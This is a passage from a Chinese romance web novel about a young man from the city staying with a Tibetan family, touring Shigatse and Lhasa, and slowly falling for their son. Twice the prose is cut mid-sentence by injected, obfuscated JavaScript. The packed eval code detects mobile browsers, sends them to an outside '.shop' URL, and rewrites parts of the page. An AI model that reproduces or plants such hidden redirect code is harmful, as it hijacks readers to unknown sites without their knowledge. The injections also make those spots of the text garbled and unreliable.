刚才在寺庙外,那个言辞锋利、眼神如雪山之鹰的年轻人,此刻被茶馆暖烘烘的烟火气包裹,收敛了所有锋芒,变回一个再寻常不过的、孝顺又周到的藏族小伙子。这种切换如此自然,仿佛他体内有两个互不干扰的灵魂,一个属于旷野,一个属于炊烟和亲人。沈翊心里那点因辩论而激起的涟漪尚未平复,此刻又添了一丝复杂的探究,他究竟还有多少面目,是自己未曾见过的? 言语间,他们似乎很是愉快。阿妈米玛啦脸上的皱纹都舒展开来,说着沈翊听不懂的藏语,笑声低低的。尼玛旺堆偶尔插话,表情是沈翊从未见过的放松,甚至有点属于他这个年纪的调皮。沈翊忽然觉得,自己像个误入温馨家庭剧场的局外人,台上演着温暖的默剧,而他坐在黑暗的观众席,连台词本都没有。 尼玛旺堆给他倒满甜茶,碗推到他面前时,指尖不经意擦过沈翊的手背。很轻,很快,像一片雪落下即化。沈翊却像被烫到般,手指微微蜷缩。 “哥,饿了吧?看看想吃点什么?”尼玛旺堆问,声音恢复了平时的温和,却又似乎比平时更近一些。他这才想起,已经下午一点半了,确实该吃饭了。时间在寺庙和思想的激荡里溜得飞快。 他对尼玛旺堆微微点头,喉结滚动了一下,没说出话。点头似乎成了他此刻最安全的选择。 取餐处人声鼎沸,自助式的,点了就取,付钱走人,效率极高。沈翊望着密密匝匝的人头,理解了这种简单粗暴的运营模式。 在这里,温情脉脉的餐桌服务或许才是奢侈。尼玛旺堆熟门熟路,用藏语快速点了单:炸土豆、藏面、二十个肉馅“藏式肉包”、几张肉饼。他付钱的动作干脆利落,没给沈翊任何掏钱包的机会。 “尝尝这个,”他把一个金黄油亮的“摸摸”递到沈翊手里,“牛肉馅的。” 沈翊咬了一口。面皮有嚼劲,内里的肉馅丰腴多汁,混合着某种清香的植物味道,大概是本地独有的香料。温热扎实的食物落进空荡的胃里,带来一种近乎感动的慰藉。他忽然涌起一股强烈的冲动,他想了解这一切,不仅仅是食物,还有叫出它们名字的声音。 “尼玛,”他咽下食物,眼睛因为期待而显得格外亮,“这几个……用藏语怎么说?” 尼玛旺堆愣了一下,随即笑了起来,那笑容毫无杂质,清澈得像雪山融水。“你想学?”他好像觉得这很有趣,一字一顿地教:“炸土豆,‘轩锅凯尔’(xuāguàkairà)。藏面,‘普度’(pùdù)。这个,”他指指沈翊手里的半圆,“叫‘摸摸’(mómò)。肉饼是‘夏帕里’(xiàpálì)。” 沈翊跟着念,舌头却笨拙得不听使唤,卷舌音和平舌音打架,声调更是古怪。尼玛旺堆没有嘲笑,只是耐心地重复,他的藏语发音低沉圆润,像一块被河水磨润的卵石,听着就让人觉得踏实。 沈翊念到第三遍“普度”时,尼玛旺堆忽然说:“差不多了,很有意思。”他的目光落在沈翊因为努力而微微泛红的脸上,停留了片刻,才移开。 就在这时,一个抱着巨大黑色塑料袋的年轻人挤过来,袋子里是卫生纸。尼玛旺堆几乎看也没看,便掏出零钱买了两包,动作流畅得如同呼吸。沈翊这才注意到,茶馆里几乎每桌都光顾了这年轻人的生意。一种他难以理解的行为,却在这里无声运行。 卫生纸的小插曲刚过,一阵欢快的乐音便钻进了耳朵。沈翊循声望去,邻桌一位穿着半旧藏袍的中年男人,正抱着一把形状奇特的乐器弹唱。 那乐器颈长身小,像个放大的匙勺,琴头雕刻着简单的花纹。 “那是扎木念。”尼玛旺堆的声音适时响起,解答了他未问出口的疑惑。“也有人写成扎木聂,我们这儿的老乐器了。” 弹唱者摇头晃脑,手指在琴弦上飞舞,脚板还跟着节奏轻轻拍打地面,整个人沉浸其中,自得其乐。 前桌的客人笑着双手给他递了五块钱。很快,他挪到了他们这桌。沈翊嘴里还塞着半个“摸摸”,忘了咀嚼,只是看着。男人唱的歌词他不懂,但那调子轻快里带着一丝古老的忧伤,像在讲述一个关于远行和等待的故事。 尼玛旺堆从口袋里拿出一张十元纸币,双手递给来人。男人歌声未停,只是冲他眨了眨眼,脚上的节奏更欢快了些。 等人走远,尼玛旺堆才低声说:“他们是‘自学派’,心里有谱,手上就有音。以前的乐谱不是我们现在看到的样子,有自己的规矩,可惜……很多丢了,像躲起来的孩子。”他喝了一口茶,眼神有些飘远,“不过歌留下来了。靠耳朵,靠心。有人说他们像乞丐,我不觉得。这是本事,是活着的历史。真让他们去正规乐队,那些照着谱子、练着标准动作的人,未必有他们这股子‘魂’。” 他顿了顿,自嘲地笑了笑:“又说远了。哥,藏面够吗?要不要再添点?” 沈翊点点头。面碗确实见了底。 他看着尼玛旺堆起身去加面的背影,宽阔的肩背在略显拥挤的桌椅间灵活地穿行。这个二十二岁的青年,能冷静地剖析网络暴力,能虔诚地转山拜佛,能熟练地操持家务照顾牲畜,也能对着一个街头艺人,说出关于“魂”与“历史”的话。沈翊感到心脏某处被一种沉重而温暖的东西填满了,那不仅仅是吸引,更近乎一种震撼。 他清晰地意识到:这个人扎根于此,他的血脉、智慧、情感,都与这片土地紧紧缠绕。自己那点漂泊无依的心动,在这份深沉如大地般的归属感面前,显得轻飘而徒劳。 “趁热吃。”尼玛旺堆回来了,面碗带着腾腾热气放在他面前,打断了他有些危险的思绪。 两人安静地吃完。尼玛旺堆看了一眼手机:“想去一下步行街吗?路挺好走。” “去”沈翊说。 穿过马路,路边是一排卖纪念品的小摊。珠串、手镯、木碗、各种石头……在午后阳光下闪着廉价而热闹的光。沈翊的目光被几颗纹路奇特的“天珠”吸引,刚想凑近看看,身后传来尼玛旺堆没什么温度的声音:“那个,还不如买这个。”他拿起一个铜制的、刻满复杂符号的圆形挂牌,“米隆,也叫巴卡,汉话叫九宫八卦牌。老东西了,苯教来的,后来佛教也用。算是个……护身的意思。” 沈翊不解:“那个天珠……” “假的。”尼玛旺堆言简意赅,脸上露出一丝“你怎么这都不懂”的无奈,但眼神里并无责怪,反而有种“我得看着你免得你上当”的理所当然。“这个实在点,有藏式样子,送人或者自己留着都行。” 沈翊顺从地买下了那块“米隆”。金属入手微凉,沉甸甸的,刻痕深峻。尼玛旺堆接过,帮他和老板砍价,从三十五砍到十块,老板居然爽快答应了。他拿着牌子,有点小得意地冲沈翊扬了扬眉。沈翊看着他孩子气的表情,心里那点关于“沉重归属”的忧虑,忽然被冲淡了些,泛起一丝无奈的甜。这个人,怎么可以同时拥有那么深的思想和这么简单的快乐? 他们转着转着又来到了,转山的起点,是一个白色香炉,形似佛塔,中空,香烟袅袅。尼玛旺堆从随身的小布袋里捏出一撮糌粑,用食指和拇指捻着,低声念诵着什么,将糌粑仔细地撒在香炉外壁上,划出特定的图案。 动作庄重而温柔。旁边有商贩兜售混合好的藏香,但大多数转山者都像尼玛旺堆一样,自带香袋,那种两面绣花、中间开口、垂下流苏的精致小布袋。 两人就这样又去转一次山。长长的、望不到尽头的转经筒廊,金属筒身被无数只手摩挲得锃亮,在廊下投出晃动的光斑。他们前面是一位老阿妈,左手匀速拨动佛珠,右手依次推动经筒,嘴唇翕动,诵经声低微而持续,脚步稳得不疾不徐。沈翊不合时宜地想:这真是锻炼身体和意志的绝佳方式。 尼玛旺堆也加入了推转经筒的行列。他高大的身影在一众老人间显得有些突兀,但他自己浑然不觉,神情专注,仿佛这只是日常呼吸的一部分。 沈翊悄悄落后半步,举起手机,对准他的背影。镜头里,青年微低着头,侧脸线条在廊柱阴影中显得格外清晰有力,推着经筒的手,骨节分明。沈翊迅速按下快门,心虚得像偷了什么珍宝。 山路蜿蜒向上。在一个拐角,沈翊被一排挂着的帽子吸引住了。五颜六色,各式各样。他拿起一顶黑色的登山帽试戴,转头想问尼玛旺堆意见,却见对方已经拿起一顶醒目的桃粉色毛线帽,毫不犹豫地扣在自己头上,还对着摊主挂着的小镜子照了照。 沈翊:“……” “这个适合你。”尼玛旺堆指着沈翊头上的黑帽子,语气肯定,“挡风,耐脏。”然后他指着自己头上的粉色:“这个,暖和,亮。”他对自己独特的审美似乎非常满意。 沈翊忍着笑付了钱。 尼玛旺堆则开始了新一轮砍价,为他的粉帽子。最终以二十元成交。他戴着那顶与他的硬朗气质极其违和的粉帽子,得意地看了沈翊一眼,仿佛打赢了一场胜仗。沈翊别开脸,嘴角却怎么也压不下去。这个人,怎么总能轻易打破他心里刚刚筑起的任何墙围? 走到半山腰一处平台,尼玛旺堆买了一个热乎乎的炸土豆塞给沈翊,又走到旁边的小卖部,掏出手机,换了一 大把零钱。 “现在谁还用这么多现金?”沈翊忍不住问。 尼玛旺堆只是神秘地摇摇头:“看着吧,下山前,这些就能用完。” 很快,沈翊就明白了。 山路旁,开始出现乞讨的人。有的面前摆着病历,有的低声啜泣,有的只是默默跪坐。尼玛旺堆经过时,会停下来,从那一沓零钱里抽出一两张,弯下腰,轻轻放在对方面前的布料袋里或这他们的手上,动作自然得像给自家牛添草料。沈翊注意到,很多人身边也放着微信收款码。他快走几步,拍了拍一个正在刷手机的年轻乞讨者的肩膀,指了指二维码,意思明显:有这个,何必换现金? 尼玛旺堆看到了,嘴角几不可察地向上弯了一下,随即转身,继续推他的经筒,什么也没说。沈翊却感到脸上一热,自己那点都市人的“效率至上”思维,在这里似乎显得傲慢而浅薄。这不是效率问题,是一种关乎尊严的、面对面的给予。 越往上,人越多。不只老人,还有穿着时髦的年轻人,带着孩子的父母,甚至有几个深目高鼻的外国人,也都手持念珠,推着经筒。沈翊的呼吸开始粗重,腿像灌了铅,反观那些白发苍苍的老人,依旧步伐稳健。 “歇会儿。”尼玛旺堆在一处能望见山景的石头旁停下。他指着对面山体上一片明显的白色区域,“看,那是卓玛山的‘乳.房’,所以这座山是女神山。”他的语气平常得像在介绍自家院子里的树。 沈翊顺着望去,那自然的轮廓确实……他咳了一声,喝了一口尼玛旺堆递过来的水。 休息片刻继续前行,在一处视野极佳的平台,尼玛旺堆指着远处山巅一处岩石褶皱:“看那里,像不像一个人坐着?那是米拉日巴尊者的自然像。” 许多人驻足仰望,低声议论,脸上带着敬畏。沈翊凝视着那片历经风霜的岩壁,阳光勾勒出模糊但确实颇具人形的轮廓。是心理作用,还是千万次注视后集体赋予的意象?他分不清,但那种神圣感是真实的。 从这里开始下山。在半山腰一个突出的观景台,整个日喀则城区尽收眼底。房屋鳞次栉比,远处年楚河如银色丝带蜿蜒,扎什伦布寺的金顶在阳光下熠熠生辉。沈翊停下脚步,一种难以言喻的辽阔感冲击着他。城市、山河、信仰、众生……仿佛都在这俯瞰的视角下被浓缩、又被放大。 下山的路依然被转经筒环绕。当终于走完最后一圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182990|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回到起点附近时,沈翊觉得自己的体力槽彻底空了。尼玛旺堆却在这时转过头,神色无比严肃地看着他:“按规矩,得转满三圈才行。” 沈翊瞬间僵住,脸上血色褪去,满眼写着“你在开玩笑吗”。 尼玛旺堆看着他呆滞的表情,没忍住,“噗嗤”一声笑了出来,那双总是显得很认真的眼睛里漾开明亮的、恶作剧得逞般的笑意。“逗你的!一圈就够了,心诚则灵。” 沈翊:“……”他虚脱般地瘫坐在旁边的石墩上,连瞪对方的力气都没了,心里却奇怪地松快起来,甚至有点想跟着笑。这种轻松的玩笑,是属于“朋友”之间的。他至少,已经是他的朋友了吧? 回去的路上,又遇见一位艺人,直接坐在路边,靠着墙,懒洋洋地弹着扎木念,面前放钱的塑料袋已经半满。尼玛旺堆走过去,听了完整的一曲,才弯腰放钱。 “为什么……这些艺人,还有之前山上念经的扎巴,也要这样……”沈翊问得有些迟疑。 尼玛旺堆边走边说:“有些小寺庙,在很偏的山里,去的人少,香火钱不够。还有的要修庙,塑金身,花费大。出来化缘,也是没办法。”他顿了顿,“当然,里面可能也有假的。但给了,是给的是自己的心意。他们伸手,也需要勇气。” 沈翊沉默了。他想起茶馆里买卫生纸的青年,想起路上那些真假难辨的乞讨者。这里有一套他仍在努力理解的、关于施与受、面子与里子、信仰与生存的复杂逻辑。 回程的车上,回程的车里,阿妈米玛啦似乎累了,靠着车窗闭目养神。尼玛旺堆专注地开着车。沈翊坐在后座,看着窗外飞速后退的城市光影,指尖无意识地摩挲着羊毛毯的边缘。身体疲惫,但精神却有一种奇异的饱满。 “回家”这个词,忽然毫无预兆地跳进他脑海,带着牛粪火炉的温度和酥油茶的香气。他被自己这个念头惊了一下,随即是更深沉的茫然与一丝隐秘的向往。 到家时,天色已暗。 阿妈米玛啦上楼后早已将火炉烧得旺旺的,整个屋子暖意熏人。 尼玛旺堆放下东西,就去给牛添草料,清理牛圈。沈翊看着他在暮色中忙碌的结实背影,想起白天那个谈论音乐灵魂、认真转山、也会戴粉色帽子开玩笑的青年,几个影像重叠在一起,让他的心口涨满了一种酸涩而柔软的情绪。 晚饭后,阿妈米玛啦坐在火炉旁继续念经。尼玛旺堆起身出去了一会儿,回来时,手里拿着一把他小心抱着的扎木念。他盘腿坐在垫子上,低头调试琴弦,神情专注得像在对待一件圣物。 几次音调试音后,他抬起头,目光在跳跃的火光中找到了沈翊。“哥,”他叫了一声,声音比平时低,“给你弹一首我们这儿的曲子,《卓木仁青岗拉》。” 琴声响起。 前奏干净而悠远,仿佛带着山风的气息。 接着,他开口唱了。 不是茶馆艺人那种略带表演性质的嘹亮,而是更低沉、更私密的吟唱。嗓音像被雪山泉水浸过,清澈中带着沙砾的质感,每一个藏语词汇都像一颗圆润的石头,被他妥帖地嵌在旋律的河流里。 沈翊听不懂歌词,但他听懂了那旋律里的思念、托付,和一抹挥之不去的、明亮的忧伤。他看着尼玛旺堆低垂的眉眼,看着他拨动琴弦的、指腹带着薄茧的手指,看着他随着韵律微微起伏的肩膀。火光在他深邃的轮廓上 跳舞,将他整个人镀上一层温暖而生动的光晕。 沈翊看得忘了呼吸。心脏在胸腔里缓慢而沉重地搏动,每一下都敲打着名为“危险”的警钟,可他无法移开视线。这一刻的尼玛旺堆,剥离了所有外衣,只是一个沉浸在音乐里的、纯粹的青年,而这份纯粹,对他有着致命的吸引力。 一曲终了,余音似乎还在温暖的空气中震颤。尼玛旺堆放下扎木念,拿起早已温在火炉边的青稞酒壶,给沈翊面前的碗斟满碧莹莹的酒液。 “这曲子,以前是托远行的人捎口信的,”他解释道,眼睛亮亮地看着沈翊,“算是……酒歌的一种。这杯,我敬你。”他自己也满上一碗。 沈翊端起碗,学着他的样子,用无名指蘸了酒弹洒三下,然后喝了一大口。清甜微酸,酒意温吞地漫上来。 “来,按规矩,得喝三杯!”尼玛旺堆笑着,又给他满上。 阿妈米玛啦不知何时也停下了念经,笑着接过儿子递来的扎木念。她弹奏的调子更欢快,节奏感十足,是另一种味道的酒歌。弹完,她也笑着给沈翊添酒。盛情难却,沈翊又喝了两碗。酒意上了头,身体轻飘飘的,那些白日里繁杂的思绪、沉重的自我告诫,似乎都被这温热的酒液暂时融化了,只剩下眼前跳动的火光,和火光旁那个人令人心安的身影。 尼玛旺堆没有再弹琴,就着阿妈米玛啦轻哼的调子,清唱了一首更热闹的《萨迦酒歌》。他的声音在狭小的空间里回荡,带着一种直抵人心的欢乐力量。沈翊跟着节奏轻轻晃动身体,脸上烧得厉害,不知道是酒,还是别的什么。 他笑着,听尼玛旺堆讲青稞酒如何像水一样融入他们生活的点点滴滴,讲现在的小孩其实喝得少了。 他的话在沈翊耳边嗡嗡作响,具体内容听不真切,只觉得那声音好听,那笑容好看,那坐在自己身边、散发着热意的躯体,让人想不顾一切地靠近。 夜深了,酒意和疲惫终于彻底俘虏了沈翊。 他记得自己是被尼玛旺堆半扶半搀着回到房间的。倒在厚厚的、带着阳光和干草味道的被褥里时,他最后的意识,是尼玛旺堆帮他掖好被角的手指,和一句模糊的、用汉语说的:“睡吧,哥。” 黑暗中,沈翊蜷缩起来,酒意让身体的感知变得迟钝,但心里某个地方却清醒地疼着。他知道自己正在滑向一个危险的深渊,那里有他渴望的温暖和光亮,也有他恐惧的碎裂与失落。可这一刻,他累得连挣扎的力气都没有了,只想沉溺在这片由青稞酒、扎木念和那个人构筑的、短暂的温柔幻梦里。 窗外,西藏的星空沉默地璀璨着,亿万年的注视下,一个人的心动与挣扎,渺小如尘,却也重如群山。 18. 离开or留下 次日清晨,金黄的阳光像融化的酥油,浓稠地透过玻璃,泼洒在沈翊眼皮上。他慢吞吞睁开眼,窗外是连绵的、白得耀眼的雪山,静默地矗立在湛蓝的天幕下,冷冽而圣洁。他拿着洗漱用品蹲到院里的水龙头边,手刚碰到阀门,心里就咯噔一下,冻死了,纹丝不动。高原冬天的权威,体现在每一个细微处。 正对着冰疙瘩似的龙头无计可施,尼玛旺堆从屋里出来,手里提着一把冒着白气的铜壶。“水管冻了,得等中午化开。”他走过来,很自然地把壶里的温水倒进沈翊端着的脸盆里,“去屋里洗吧,外面太冷。” 温水接触到冻得发红的指尖,暖意顺着手臂蔓延。 沈翊低着头,看见尼玛旺堆脚上那双沾着干泥点的旧靴子就停在自己旁边,很近。他含糊地道了谢,端起盆匆匆回屋,心里那点因为早起和水管受挫的烦躁,被这无声的体贴悄然熨平。他能感觉到尼玛旺堆的目光短暂地落在自己背上,像一片阳光跟着挪动了几步。 客厅里传来隐约的说话声,不是阿妈米玛啦平日里低缓的诵经调,而是更清脆、更快的语速,夹杂着笑声。沈翊压下好奇,快速洗漱完,套上外套走进客房时,不由得微微一怔。 德吉次仁回来了。 她坐在火炉边最好的位置,跷着腿,一头新染的金发在炉火映照下几乎在发光,像把一小片叛逆的太阳戴在了头上。 高领黑色毛衣紧裹着修长的脖颈,衬得红唇愈发鲜艳夺目。她正用藏语飞快地说着什么,肆意无比给她那种混合了摩登与野性的气质又添了层朦胧。 “哟,沈翊!”她转头看见他,立刻切换成流利的汉语,笑容灿烂地招手,“快过来坐!让我看看……嗯,脸色比刚来时好多了,看样子我弟弟没虐待你。” 沈翊笑着走过去,心里却远没有表面平静。 他在这里住了一段时间,太清楚这样的装扮在相对保守的乡村意味着什么,背后必然有无数的指点和议论。可德吉次仁浑身上下都散发着一种“我乐意,关你屁事”的洒脱。这种强烈的反差和勇气,让他既欣赏,又隐隐为她感到一丝不易察觉的担忧。尼玛旺堆沉默地往火炉里添了块干牛粪,火光跳跃,映着他没什么表情的侧 脸。他姐姐的张扬,他似乎早已习惯,或者说,是某种意义上的默许。 吃饭时,德吉次仁说明了来意:“沈翊,我那民宿的暖气彻底修好了,我来就是想问问你,是继续留在这儿,还是搬去市里住?当然,随你心意。” 沈翊咀嚼的动作顿住了。 藏面香气扑鼻的汤汁还在口腔里,火炉的热度烘烤着后背,尼玛旺堆正拿起茶壶准备给他添茶的动作停顿了片刻,这一切构成了过去这些天让他感到安宁甚至贪恋的日常。 离开?他内心立刻涌起强烈的抵触。 “今年家里人都不会一直待在这儿。”德吉次仁补充道,目光扫过母亲和弟弟。 尼玛旺堆放下茶壶,用汉语说:“快藏历新年了,我们有时在村里过,有时去市里。”他看向阿妈米玛啦,眉 头不易察觉地蹙了一下,“阿妈身体……最近咳嗽更厉害了。今年,我们就在老家过吧,也方便照顾。” 德吉次仁顺着他的目光看向母亲,轻轻叹了口气,点点头,再看向沈翊时,眼里带着了然的笑意:“那么,你的决定是?” 沈翊放下筷子,坐直了身体,语气是自己都未料到的坚定:“我想留在这里。房租我会照常付。” 德吉次仁噗嗤一笑,摆摆手:“提什么钱。有你在这儿,”她意味深长地瞥了一眼又低头去拨弄火炭的弟弟,“我看这小子最近话都多了点,脸上也有活人气了。算是你陪他的补偿罢。” 这时,阿妈米玛啦转完佛塔回来,撩开门帘,一眼就撞见了女儿那头夺目的金发。她脚步猛地刹住,手里转动的经筒都停了一瞬,脸上的表情凝固了,嘴唇翕动,像是有一箩筐的话堵在喉咙口。屋子里瞬间安静下来,只有牛粪燃烧细微的噼啪声。 尼玛旺堆几乎是立刻站了起来,快步走到母亲身边,接过她手里的转经筒,用藏语低声快速地说了几句。他的声音很轻,但带着一种抚慰和解释的力度。沈翊听不懂,却看见阿妈米玛啦紧绷的肩膀慢慢松弛下来,她深深看了女儿一眼,那眼神复杂极了,有震惊,有不赞同,但最终,沈翊似乎还看到了一丝疲惫的妥协,以及更深藏的、或许连她自己都未明说的。对女儿能如此肆意活着的,一丝遥远的羡慕。她最终什么也没说,只是走到自己的位置坐下,重新转起了佛珠。 接着,便是关于去医院的那场小小争执。 阿妈米玛啦用藏语坚持“我的身体我知道”,德吉次仁又急又气,汉语藏语夹杂地要求她必须去检查。 沈翊在一旁插不上话,这种因语言和身份壁垒而产生的无力感,让他有些焦躁。他注意到尼玛旺堆一直看着母亲,眼神里有不容动摇的决心。他又对母亲说了几句藏语,这次,阿妈米玛啦沉默了很久,终于,极轻微地点了点头。 沈翊和德吉次仁交换了一个好奇的眼神。尼玛旺堆只是摇摇头,没解释。 收拾行李出发时,沈翊才忍不住问:“为什么不坐火车?更快更平稳吧?” 德吉次仁正把一条厚厚的羊毛披肩围在脖子上,闻言挑眉:“自家车多方便。高速通了,两小时就到拉萨。火车闷罐子似的,哪有自己开车自在,想停就停。”她眨了眨眼,“比如,待会儿我们就要‘想停就停’一下。” 果然,车开出去不到一小时,尼玛旺堆就将车拐下高速,停在一条荒僻的江边公路旁。沈翊茫然四顾,除了奔腾的江水、陡峭的山崖和蜿蜒的公路,什么也没有。 “休息下,拜个佛。”尼玛旺堆简单解释,扶着阿妈米玛啦下了车。 拜佛?佛在哪儿?沈翊只看到对面山体上有几块巨石看似摇摇欲坠。德吉次仁拉了他一把:“走啦,跟着。” 横穿没有斑马线的马路时,沈翊心都提起来了。德吉次仁却满不在乎:“放心,老司机都知道这儿有佛,会减速的。”话音未落,一辆越野车果然在他们面前明显慢了下来。但也有呼啸而过的,卷起一阵冷风。 他们手脚并用地爬下江堤,绕过护栏,来到裸露的、布满卵石的江滩。冬季枯水,江水退让出一片狭长的滩涂。沈翊走得小心翼翼,卵石硌脚,江水在几步外轰鸣,带着吞噬一切的气势。 然后,他看见了。 一尊巨大的佛像,半嵌在江岸的岩壁中,下半部分没入冰冷的江水,上半部分依旧庄严地俯视着江河。不知是天然形似,还是古人依势雕琢,那眉眼衣纹在风霜水蚀下已模糊,却依然散发着震撼人心的宁静力量。佛像身上披满了新旧不一的哈达,层层叠叠,有些已被风吹雨打成灰白的絮状,依旧执着地附着在岩石上。 尼玛旺堆小心地搀着阿妈米玛啦,让她在佛像前松软的沙地上跪下,叩拜。德吉次仁也收敛了所有不羁,恭敬地跪下,额头轻触沙地。沈翊站在原地,看着眼前这幕,奔腾的江水,沉默的巨佛,虔诚跪拜的一家人。这种信仰的表达方式,如此艰苦,又如此直接。 尼玛旺堆不知何时装的哈达。从随身的布袋里拿出一叠崭新的哈达,分给每人一条,包括沈翊。“来,”他示意沈翊上前,声音在江风中显得很稳,“像我这样,双手捧着,举过头顶,心里默念祈愿,然后轻轻挂上去。” 沈翊学着他的样子,双手捧着洁白的哈达。丝绸的质感冰凉顺滑。他闭上眼睛,江风呼啸掠过耳畔,水声轰鸣。祈愿?他脑子里有点空,最后只闪过一个模糊的念头:愿此刻的宁静与感动,能留存久一些。他上前,小心地将哈达系在一条垂落的旧哈达旁边。白色丝绸很快在风中飘荡起来,成为这无数祈愿中不起眼的一缕。 尼玛旺堆在一旁看着。 他看到沈翊闭眼时微微颤动的睫毛,看到他上前挂哈达时那份小心翼翼的郑重,那姿态里没有游客的猎奇,也没有无神论者刻意的疏离,更像是一种尝试理解和融入的尊重。一种很柔软的触动,像一片羽毛,轻轻搔过心尖。 他移开视线,看向奔腾的江水。 他知道,自己不能那么做。 离开前,他们又去看了附近岩壁上的古老壁画。赭红色的线条简单粗犷,描绘着奔跑的鹿群。沈翊拿出手机拍了几张。这次尼玛旺堆没有阻止,只是静静站在他侧后方半步远的地方,目光扫过那些模糊的图案,又落回沈翊专注的侧脸上。 重新上路后,德吉次仁讲起了关于“鹿神”指引矿脉的传说,尼玛旺堆则说起有亲戚去的地方信号全无、戒备森严,像是印证着什么。沈翊问他们对开矿的看法,德吉次仁那句“你该问山神”,让车里的人都笑了起来。尼玛旺堆从后视镜里看到沈翊嘴角扬起的、放松的弧度,自己握着方向盘的手指,也无意识地轻轻敲击了一下。 抵达拉萨,安顿好,吃过简单的藏面,他们便去了布达拉宫。宫殿正在“换装”,许多“蜘蛛人”悬在红白宫墙上涂刷白浆,空气里弥漫着淡淡的石灰味。沈翊仰头看着,那个经典问题脱口而出:“这白的……能吃吗?” 德吉次仁一副“你没事吧”的表情。 正在找停车场开车的尼玛旺堆嘴角抽动了一下,头也没回,斩钉截铁:“不能。”然后,他详细解释了白灰的成分,甚至带点无奈地强调,“不能舔,别做梦了。”语气里那种“我得看紧点不然这个城里来的哥哥可能真会干出点傻事”的意味,让德吉次仁乐不可支,沈翊自己也赧然。 他们刷完身份证进布达拉宫外侧,去转圈。 德吉次仁像变魔术一样,把零钱塞给一位磕长头的朝拜者,然后拉着母亲去转经了。尼玛旺堆和沈翊留在广场边的长椅休息。 尼玛旺堆买来炸土豆,两人默默吃着。有乞讨者过来,尼玛旺堆看了一眼,双手递上一块钱。过了一会儿,一位风尘仆仆的朝拜者路过,尼玛旺堆迅速从口袋里摸出几张零钞,趁对方不注意,塞进了他背后鼓囊囊的背包侧袋。 “其实,很多乞讨的,”尼玛旺堆主动解释,声音平淡,“真的假的,分不清。姐姐讨厌那些有手有脚还来讨钱的,我……分辨不清楚,但也是更愿意给真正在赶路的人。”他顿了顿,望着远处宫殿的金顶,眼神有些悠远,“我小时候,跟阿妈一路朝拜过去,扎什伦布寺,桑耶寺,珠峰大本营……那时候,也有骑自行车的外国人,送我巧克力。”他笑了笑,那笑容很短,带着回忆的微光,“以及过去很久了。” 沈翊静静地听着,手里的土豆忘了吃。他仿佛能看到那个小小的、黝黑的尼玛旺堆,跟在母亲身后,走在漫漫长路上。这份遥远的记忆,和他此刻坐在自己身边平静讲述的样子重叠,让沈翊心里某个地方,酸酸软软地塌陷下去。 阿妈米玛啦和德吉次仁已经饶了三圈,他们就一起回家,这次来拉萨主要是来看病。 在医院,等待的时光漫长难熬。 尼玛旺堆和德吉次仁进去很久,出来时脸色都不太好看,但在看到沈翊的瞬间,又努力扯出轻松的笑容。 沈翊没有追问,只是接过德吉次仁递来的一杯热水。 在拉萨的几天,节奏忽然慢得令人无所适从。 高楼,车流,繁华的八廓街……沈翊却觉得,他和尼玛旺堆一家,都像被暂时搁浅在这都市里的鱼,有些蔫蔫的。 直到德吉次仁带他们去她藏在深巷的小小唐卡店。店里不仅有传统佛像,还有她画的卡通人物,色彩明快。 她说:“我就喜欢让人看了高兴的东西。”那一刻,沈翊又看到了那个灵魂自由、无视边框的女孩。尼玛旺堆在店里慢慢踱步,仔细看着每一幅画,眼神柔和。在这里,在这个属于姐姐的小小天地里,他似乎也更自在了些。 很多时候德吉次仁并不是住在拉萨而是在别的地方,因此门口的铁门上写着有事联系号码:18*********。 对沈翊来说,拉萨确实不愧是西藏的名牌一切都是那么的热闹、华丽、繁华,可他也从那样的地方走来,他并 不像再次陷入到那种地方,他更喜欢的还是自然。 就算需要捡牛粪他也还是想呆在那里。 与一切现实因素无关,就是自己觉得不应该呆在这里。 离开拉萨返回日喀则的路上,阿妈米玛啦在后座睡着了。德吉次仁望着窗外飞驰的荒原,忽然轻声说:“有时候觉得,我们这代人,读了书,见了世面,本该离那些虚无缥缈的东西更远才对。可绕了一大圈,最后好像还是得跪下来。” 正在开车的尼玛旺堆,背脊几不可察地绷直了一瞬。他直视前方路况,声音没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182991|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么起伏,却带着一种清晰的力道:“那是你自己的选择。没人拿刀逼你去信仰。” 德吉次仁像是被他的话刺了一下,转过头,深深看了弟弟一眼,那眼神里有沈翊看不懂的复杂情绪。 她忽然笑了笑,用藏语快速说了一句话,语气决绝。 沈翊只听懂了“妈妈”和“出家”几个词。 尼玛旺堆立刻抿紧了嘴唇,不再吭声,下颌线绷得有些紧。 车里的空气陡然沉静下来,只有音乐还在流淌。沈翊感到一阵莫名的不安,像无意中窥见了这个家庭水面下的暗涌。 尼玛旺堆将车驶离高速,停在另一处僻静的江边,叫德吉次仁下车。 沈翊透过车窗,看着姐弟俩站在江岸上说话。距离太远,听不清,但能看出德吉次仁有些激动,尼玛旺堆则相对沉默。忽然,尼玛旺堆转过头,朝车的方向,朝沈翊所在的位置看了一眼。那眼神很快,带着来不及完全藏起的心事和一丝……类似于心虚的躲闪。他迅速又转了回去。 就在这时,沈翊口袋里安静许久的手机,震动了起来。屏幕上跳动的名字,让他的心脏猛地一沉——江泽。 他犹豫了几秒,还是选则下车走到离车稍远些的江滩上,按了接听。 他不知道自己为什么要接听……按照以往的习惯早就挂断了。 也许是因为尼玛旺堆的眼神……他不知道。 